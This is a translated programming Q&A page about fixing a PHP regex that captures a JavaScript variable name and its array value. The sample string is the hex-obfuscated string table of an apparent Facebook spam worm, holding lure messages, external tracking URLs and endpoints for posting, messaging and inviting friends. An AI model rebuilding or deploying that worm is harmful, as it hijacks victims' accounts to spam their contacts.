Regex для сопоставления имени и значения переменной (массив) - PullRequest
2 голосов
/ 07 марта 2011

Итак, я получил эту проблему. У меня есть такая строка:

var _0x2804=["\x2C","\x73\x70\x6C\x69\x74","","\x6C\x65\x6E\x67\x74\x68","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x66\x72\x69\x65\x6E\x64\x73\x65\x6C\x65\x63\x74\x6F\x72\x5F\x69\x6E\x70\x75\x74\x5B\x5D\x3D","\x26\x66\x72\x69\x65\x6E\x64\x5F\x73\x65\x6C\x65\x63\x74\x65\x64\x5B\x5D\x3D","\x50\x4F\x53\x54","\x2F\x70\x61\x67\x65\x73\x2F\x65\x64\x69\x74\x2F\x3F\x69\x64\x3D","\x26\x73\x6B\x3D\x61\x64\x6D\x69\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x66\x62\x70\x61\x67\x65\x5F\x69\x64\x3D","\x26","\x6A\x6F\x69\x6E","\x26\x73\x61\x76\x65\x3D\x31","\x6D\x61\x74\x63\x68","\x72\x61\x6E\x64\x6F\x6D\x69\x7A\x65","\x0A\x0A","\x26\x78\x68\x70\x63\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x69\x64\x3D","\x26\x78\x68\x70\x63\x5F\x74\x61\x72\x67\x65\x74\x69\x64\x3D","\x7C","\x26\x78\x68\x70\x63\x5F\x63\x6F\x6E\x74\x65\x78\x74\x3D\x68\x6F\x6D\x65\x26\x78\x68\x70\x63\x5F\x66\x62\x78\x3D\x31\x26\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x5F\x74\x65\x78\x74\x3D","\x72\x65\x70\x6C\x61\x63\x65","\x26\x78\x68\x70\x63\x5F\x6D\x65\x73\x73\x61\x67\x65\x3D","\x26\x55\x49\x50\x72\x69\x76\x61\x63\x79\x57\x69\x64\x67\x65\x74\x5B\x30\x5D\x3D\x34\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x76\x61\x6C\x75\x65\x5D\x3D\x34\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x66\x72\x69\x65\x6E\x64\x73\x5D\x3D\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x6C\x69\x73\x74\x5F\x61\x6E\x6F\x6E\x5D\x3D\x30\x26\x70\x72\x69\x76\x61\x63\x79\x5F\x64\x61\x74\x61\x5B\x6C\x69\x73\x74\x5F\x78\x5F\x61\x6E\x6F\x6E\x5D\x3D\x30\x26\x3D\x53\x68\x61\x72\x65\x26\x6E\x63\x74\x72\x5B\x5F\x6D\x6F\x64\x5D\x3D\x70\x61\x67\x65\x6C\x65\x74\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x75\x70\x64\x61\x74\x65\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x37\x78\x38\x72\x75\x38","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x6F\x62\x62\x34\x32\x73","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x76\x32\x77\x7A\x37\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x64\x6E\x61\x63\x72\x72","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x36\x6D\x67\x37\x72\x32","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x69\x6E\x79\x75\x72\x6C\x2E\x63\x6F\x6D\x2F\x34\x6E\x34\x63\x6B\x76\x6D","\x31\x36\x38\x30\x34\x36\x38\x39\x33\x32\x34\x32\x36\x35\x30","\x31\x39\x38\x31\x36\x31\x37\x36\x36\x38\x37\x39\x34\x39\x33","","\x74\x61\x69\x6E\x61\x68\x65\x6C\x73\x65\x79\x6B\x76\x68\x6E\x40\x68\x6F\x74\x6D\x61\x69\x6C\x2E\x63\x6F\x6D\x2C\x6A\x65\x66\x66\x72\x65\x79\x62\x72\x61\x69\x6E\x33\x38\x36\x40\x79\x61\x68\x6F\x6F\x2E\x63\x6F\x6D","\x57\x6F\x77\x21\x20\x53\x65\x65\x6D\x73\x20\x6C\x69\x6B\x65\x20\x6C\x6F\x74\x73\x20\x6F\x66\x20\x70\x65\x6F\x70\x6C\x65\x20\x73\x74\x61\x6C\x6B\x20\x6D\x65\x20\x2D\x20","\x4E\x65\x77\x20\x46\x42\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x72\x6F\x66\x69\x6C\x65\x2D\x2D\x20","\x53\x65\x63\x72\x65\x74\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20","\x49\x6E\x73\x61\x6E\x65\x21\x20\x41\x77\x65\x73\x6F\x6D\x65\x20\x74\x6F\x6F\x6C\x20\x74\x6F\x20\x73\x65\x65\x20\x77\x68\x6F\x20\x6C\x6F\x6F\x6B\x73\x20\x61\x74\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20\x3E\x3E\x20","\x41\x63\x63\x6F\x72\x64\x69\x6E\x67\x20\x74\x6F\x20","\x20\x79\x6F\x75\x27\x72\x65\x20\x6D\x79\x20\x74\x6F\x70\x20\x73\x74\x61\x6C\x6B\x65\x72\x2E\x20\x43\x72\x65\x65\x70\x2E","\x53\x65\x63\x72\x65\x74\x20\x74\x6F\x6F\x6C\x20\x73\x68\x6F\x77\x73\x20\x77\x68\x6F\x20\x73\x74\x61\x6C\x6B\x73\x20\x79\x6F\x75\x72\x20\x70\x69\x63\x73\x20\x2D\x20","\x43\x68\x65\x63\x6B\x20\x74\x68\x69\x73\x20\x6F\x75\x74\x21","\x48\x65\x79\x2C\x20\x77\x68\x61\x74\x73\x20\x68\x61\x70\x70\x65\x6E\x69\x6E\x67\x3F","\x48\x65\x79\x21\x20\x54\x68\x69\x73\x20\x69\x73\x20\x61\x77\x65\x73\x6F\x6D\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x69\x73\x52\x65\x61\x64\x79","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x67\x65\x74\x46\x72\x69\x65\x6E\x64\x73","\x73\x6C\x69\x63\x65","\x3A","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x63\x72\x65\x77\x79\x6F\x75\x7A","\x61\x6C\x69\x67\x6E","\x63\x65\x6E\x74\x65\x72","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x6D\x61\x72\x67\x69\x6E","\x73\x74\x79\x6C\x65","\x30\x70\x78\x20\x61\x75\x74\x6F","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x74\x6F\x70","\x31\x30\x70\x78","\x7A\x69\x6E\x64\x65\x78","\x31\x30\x30","\x63\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x73\x63\x72\x65\x77\x79\x6F\x75","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x66\x62\x76\x69\x65\x77\x73\x2E\x6F\x72\x67\x2F\x70\x72\x6F\x63\x65\x73\x73\x2E\x67\x69\x66\x22\x20\x2F\x3E\x3C\x62\x72\x20\x2F\x3E\x53\x63\x61\x6E\x6E\x69\x6E\x67\x20\x6D\x61\x79\x20\x74\x61\x6B\x65\x20\x75\x70\x20\x74\x6F\x20\x33\x20\x6D\x69\x6E\x75\x74\x65\x73\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F","\x47\x45\x54","\x2F","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x48\x65\x6C\x6C\x6F\x21\x0A\x0A\x54\x6F\x20\x61\x63\x74\x69\x76\x61\x74\x65\x20\x74\x68\x65\x20\x74\x6F\x6F\x6C\x20\x70\x72\x65\x73\x73\x20\x45\x6E\x74\x65\x72\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x6B\x65\x79\x62\x6F\x61\x72\x64\x2E\x20\x0A\x0A\x54\x68\x69\x73\x20\x77\x69\x6C\x6C\x20\x74\x61\x6B\x65\x20\x32\x2D\x33\x20\x6D\x69\x6E\x75\x74\x65\x73\x2C\x20\x77\x68\x69\x6C\x65\x20\x77\x61\x69\x74\x69\x6E\x67\x20\x70\x6C\x65\x61\x73\x65\x20\x64\x6F\x20\x6E\x6F\x74\x20\x63\x6C\x6F\x73\x65\x20\x74\x68\x69\x73\x20\x77\x69\x6E\x64\x6F\x77\x20\x6F\x72\x20\x74\x61\x62\x2E","\x63\x6F\x6F\x6B\x69\x65","\x2F\x61\x6A\x61\x78\x2F\x70\x61\x67\x65\x73\x2F\x66\x61\x6E\x5F\x73\x74\x61\x74\x75\x73\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x66\x62\x70\x61\x67\x65\x5F\x69\x64\x3D","\x26\x61\x64\x64\x3D\x31\x26\x72\x65\x6C\x6F\x61\x64\x3D\x31\x26\x70\x72\x65\x73\x65\x72\x76\x65\x5F\x74\x61\x62\x3D\x31\x26\x75\x73\x65\x5F\x70\x72\x69\x6D\x65\x72\x3D\x31\x26\x6E\x63\x74\x72\x5B\x5F\x6D\x6F\x64\x5D\x3D\x70\x61\x67\x65\x6C\x65\x74\x5F\x74\x6F\x70\x5F\x62\x61\x72\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x62\x72\x6F\x77\x73\x65\x72\x2F\x6C\x69\x73\x74\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x61\x6C\x6C\x2F\x3F\x75\x69\x64\x3D","\x26\x6F\x66\x66\x73\x65\x74\x3D\x30\x26\x64\x75\x61\x6C\x3D\x31\x26\x5F\x5F\x61\x3D\x31","\x69\x64\x73\x5B","\x5D\x3D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x26\x73\x65\x6E\x64\x5F\x69\x6E\x76\x69\x74\x61\x74\x69\x6F\x6E\x73\x3D\x31\x26\x69\x6E\x76\x69\x74\x65\x5F\x69\x64\x5F\x6C\x69\x73\x74\x3D\x26\x65\x6D\x61\x69\x6C\x5F\x61\x64\x64\x72\x65\x73\x73\x65\x73\x3D\x26\x69\x6E\x76\x69\x74\x65\x5F\x6D\x73\x67\x3D\x26","\x26\x6E\x6F\x64\x65\x5F\x69\x64\x3D","\x26\x63\x6C\x61\x73\x73\x3D\x47\x75\x65\x73\x74\x4D\x61\x6E\x61\x67\x65\x72\x26\x5F\x5F\x64\x3D\x31\x26\x6C\x73\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x62\x76\x69\x65\x77\x73\x2E\x6F\x72\x67\x2F\x72\x65\x73\x75\x6C\x74\x2E\x70\x68\x70","\x2F\x61\x6A\x61\x78\x2F\x6D\x65\x73\x73\x61\x67\x69\x6E\x67\x2F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x3D\x31","\x69\x64\x73\x5F","\x5B\x30\x5D\x3D","\x26\x73\x75\x62\x6A\x65\x63\x74\x3D","\x26\x73\x74\x61\x74\x75\x73\x3D","\x26\x69\x64\x73\x5B\x30\x5D\x3D","\x26\x61\x63\x74\x69\x6F\x6E\x3D\x73\x65\x6E\x64\x5F\x6E\x65\x77\x26\x68\x6F\x6D\x65\x5F\x74\x61\x62\x5F\x69\x64\x3D\x31\x26\x70\x72\x6F\x66\x69\x6C\x65\x5F\x69\x64\x3D","\x26\x74\x61\x72\x67\x65\x74\x5F\x69\x64\x3D\x30\x26\x61\x70\x70\x5F\x69\x64\x3D\x26\x26\x63\x6F\x6D\x70\x6F\x73\x65\x72\x5F\x69\x64\x3D","\x26\x68\x65\x79\x5F\x6B\x69\x64\x5F\x69\x6D\x5F\x61\x5F\x63\x6F\x6D\x70\x6F\x73\x65\x72\x3D\x74\x72\x75\x65\x26\x74\x68\x72\x65\x61\x64\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x3D","\x26\x6C\x73\x64\x26\x5F\x6C\x6F\x67\x5F\x61\x63\x74\x69\x6F\x6E\x3D\x73\x65\x6E\x64\x5F\x6E\x65\x77\x26\x5F\x6C\x6F\x67\x5F\x74\x68\x72\x65\x61\x64\x26\x61\x6A\x61\x78\x5F\x6C\x6F\x67\x3D\x31\x26\x70\x6F\x73\x74\x5F\x66\x6F\x72\x6D\x5F\x69\x64\x5F\x73\x6F\x75\x72\x63\x65\x3D\x41\x73\x79\x6E\x63\x52\x65\x71\x75\x65\x73\x74","\x2F\x61\x6A\x61\x78\x2F\x67\x69\x67\x61\x62\x6F\x78\x78\x2F\x65\x6E\x64\x70\x6F\x69\x6E\x74\x2F\x4D\x65\x73\x73\x61\x67\x65\x43\x6F\x6D\x70\x6F\x73\x65\x72\x45\x6E\x64\x70\x6F\x69\x6E\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31","\x2F\x69\x6E\x73\x69\x67\x68\x74\x73\x2F\x3F\x5F\x66\x62\x5F\x6E\x6F\x73\x63\x72\x69\x70\x74\x3D\x31"];

Который я хочу сопоставить с регулярным выражением, чтобы у меня было имя переменной: _0x2804 и значение переменной.

Я создал это регулярное выражение:

var ([_0-9a-zA-Z]*).?=.?\[([\"a-zA-Z0-9,\\]*)\]

Что, похоже, работает в моем тестере регулярных выражений, но при попытке использовать его в php (разумеется, с '/' вокруг) Сбой по ошибке как с preg_match, так и с preg_match_all

1 Ответ

2 голосов
/ 07 марта 2011

Вы не закрыли 2-й класс символов.

Проблема здесь:

\[([\"a-zA-Z0-9,\\]*)\]
                ^^^

Чтобы соответствовать литералу [, вам нужно его избежать, и у вас естьэто правильно.У вас также есть \\ в классе символов для включения \, но это неверно.Что он делает, так это избегает следующего ], так что у вас нет конца для класса персонажа.Что вам нужно, это \\\\, чтобы иметь \ в классе персонажей:

\[([\"a-zA-Z0-9,\\\\]*)\]
                ^^^^

Посмотрите его на Ideone

...